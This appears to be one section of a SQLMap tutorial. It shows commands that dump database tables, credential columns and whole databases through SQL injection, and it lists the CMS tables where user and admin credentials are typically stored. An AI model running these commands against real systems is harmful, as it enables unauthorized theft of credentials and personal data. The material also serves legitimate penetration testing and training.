SQLMap Section 5 of 13
Data Extraction
Extract sensitive data from vulnerable databases including credentials, user data, and configuration.
Dump Table Data
Extract all rows from a specific table:
bash
1sqlmap -u 'http://target.com?id=1' -D mydb -T users --dump
Dump Specific Columns
Extract only the columns you need:
bash
1sqlmap -u 'http://target.com?id=1' -D mydb -T users -C username,password --dump
Dump All Databases
Extract everything (very aggressive):
bash
1sqlmap -u 'http://target.com?id=1' --dump-all --batch
Incremental Dumping
Resume partial dumps automatically - SQLMap tracks progress in session files.
bash
1sqlmap -u 'http://target.com?id=1' -D mydb -T users --dump --keep-alive
Warning
Some databases limit the number of rows returned per query. Use
--limit and --start to control batch sizes.Common Database Targets
WordPress
wp_users, wp_options, wp_posts
Joomla
jos_users, jos_content
Drupal
users, node, taxonomy_term_data
Magento
admin_user, customer_entity